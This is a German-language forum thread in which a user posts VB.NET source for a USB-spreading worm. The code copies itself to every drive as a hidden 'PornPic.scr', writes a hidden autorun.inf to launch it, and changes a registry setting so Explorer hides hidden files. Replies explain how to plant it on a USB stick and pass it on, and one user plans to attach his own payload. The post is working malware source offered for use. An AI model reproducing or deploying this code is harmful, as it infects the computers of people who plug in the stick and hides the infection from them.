[VB.NET] USB Spread

[inmate]

Imports System.IO
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each drivers In driver
            Try
                IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
                Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
                autorunwriter.WriteLine("[autorun]")
                autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
                autorunwriter.WriteLine("shellexecute=" & drivers, 1)
                autorunwriter.Close()
                System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
                System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
            Catch ex As Exception

            End Try
        Next
        Call filehide()
    End Sub
    Private Sub filehide()

        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0)

    End Sub

End Class

Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen
wäre schön wenns einer von euch testen kann
mfG

[biggermanbomber]

nehme an:
exe auf pc starten>usb dran>warten>usb ab>an anderen pc dran>*aua*
richtig so?

[sp33dwalker]

Nein,so :

Usb stift dran,Exe starten,Usb stift ab und weitergeben. Übrigens ist das nicht gerade der beste Source Code,denn er kopiert sich auch auf deinen Partitionen wie C: oder D:

[biggermanbomber]

ok und ... meinen code würde ich einfach von end sub einfügen.... mh naja werds mal versuchen =)